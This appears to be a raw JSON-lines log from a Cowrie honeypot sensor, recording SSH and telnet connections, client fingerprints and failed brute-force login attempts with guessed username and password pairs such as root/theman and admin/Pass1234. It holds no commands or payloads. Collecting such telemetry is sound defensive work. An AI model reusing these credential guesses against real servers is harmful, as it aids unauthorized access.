{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:13:19.258842Z","src_ip":"202.165.15.132","session":"54c6c55c8e86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"test12345678","message":"login attempt [ubuntu/test12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:13:20.265599Z","src_ip":"202.165.15.132","session":"54c6c55c8e86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:13:21.512706Z","src_ip":"202.165.15.132","session":"54c6c55c8e86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":15798,"dst_ip":"10.17.0.5","dst_port":22,"session":"72c3e0050c0f","protocol":"ssh","message":"New connection: 194.59.206.2:15798 (10.17.0.5:22) [session: 72c3e0050c0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:13:23.971850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:13:23.977293Z","src_ip":"194.59.206.2","session":"72c3e0050c0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:13:24.068061Z","src_ip":"194.59.206.2","session":"72c3e0050c0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:13:24.164708Z","src_ip":"194.59.206.2","session":"72c3e0050c0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.94.146.63","src_port":28936,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5904ba74da3","protocol":"ssh","message":"New connection: 167.94.146.63:28936 (159.203.135.109:22) [session: d5904ba74da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:13:27.980571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:13:27.988917Z","src_ip":"167.94.146.63","session":"d5904ba74da3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:13:28.081110Z","src_ip":"167.94.146.63","session":"d5904ba74da3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":118.8915376663208,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:13:29.572133Z","src_ip":"212.55.149.117","session":"ec616992f986","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":47870,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f187a08b42b","protocol":"ssh","message":"New connection: 2.57.122.210:47870 (10.17.0.5:22) [session: 2f187a08b42b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:13:32.960852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:13:32.971561Z","src_ip":"2.57.122.210","session":"2f187a08b42b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:13:33.092719Z","src_ip":"2.57.122.210","session":"2f187a08b42b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:13:33.496362Z","src_ip":"2.57.122.210","session":"2f187a08b42b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:13:34.600734Z","src_ip":"2.57.122.210","session":"2f187a08b42b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":6313,"dst_ip":"159.203.135.109","dst_port":22,"session":"b52c3669e2cd","protocol":"ssh","message":"New connection: 193.24.211.100:6313 (159.203.135.109:22) [session: b52c3669e2cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:13:44.498892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:13:44.503976Z","src_ip":"193.24.211.100","session":"b52c3669e2cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:13:44.613012Z","src_ip":"193.24.211.100","session":"b52c3669e2cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.8","message":"Connection lost after 16.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:13:44.758755Z","src_ip":"167.94.146.63","session":"d5904ba74da3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"theman","message":"login attempt [root/theman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:13:45.077479Z","src_ip":"193.24.211.100","session":"b52c3669e2cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:13:46.194732Z","src_ip":"193.24.211.100","session":"b52c3669e2cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.208.36","src_port":2062,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bc2624c4805","protocol":"telnet","message":"New connection: 201.17.208.36:2062 (159.203.135.109:23) [session: 3bc2624c4805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:13:52.791898Z"}
{"eventid":"cowrie.session.closed","duration":13.35436463356018,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:06.146145Z","src_ip":"201.17.208.36","session":"3bc2624c4805","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.15.132","src_port":10048,"dst_ip":"10.17.0.5","dst_port":22,"session":"990ac8dda28c","protocol":"ssh","message":"New connection: 202.165.15.132:10048 (10.17.0.5:22) [session: 990ac8dda28c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:16.023087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:16.028522Z","src_ip":"202.165.15.132","session":"990ac8dda28c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:16.273379Z","src_ip":"202.165.15.132","session":"990ac8dda28c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":51778,"dst_ip":"10.17.0.5","dst_port":22,"session":"beb6eafd5b93","protocol":"ssh","message":"New connection: 193.32.162.145:51778 (10.17.0.5:22) [session: beb6eafd5b93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:16.491066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:16.503604Z","src_ip":"193.32.162.145","session":"beb6eafd5b93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:16.606116Z","src_ip":"193.32.162.145","session":"beb6eafd5b93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brain","password":"brain","message":"login attempt [brain/brain] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:17.095901Z","src_ip":"193.32.162.145","session":"beb6eafd5b93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git12345678","message":"login attempt [git/git12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:17.285265Z","src_ip":"202.165.15.132","session":"990ac8dda28c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:18.203177Z","src_ip":"193.32.162.145","session":"beb6eafd5b93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:18.534478Z","src_ip":"202.165.15.132","session":"990ac8dda28c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"84.239.42.8","src_port":40574,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ff1b0007311","protocol":"ssh","message":"New connection: 84.239.42.8:40574 (159.203.135.109:22) [session: 5ff1b0007311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:36.205787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:36.210904Z","src_ip":"84.239.42.8","session":"5ff1b0007311","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:36.340342Z","src_ip":"84.239.42.8","session":"5ff1b0007311","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Pass1234","message":"login attempt [admin/Pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:36.839300Z","src_ip":"84.239.42.8","session":"5ff1b0007311","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:37.970981Z","src_ip":"84.239.42.8","session":"5ff1b0007311","protocol":"ssh"}
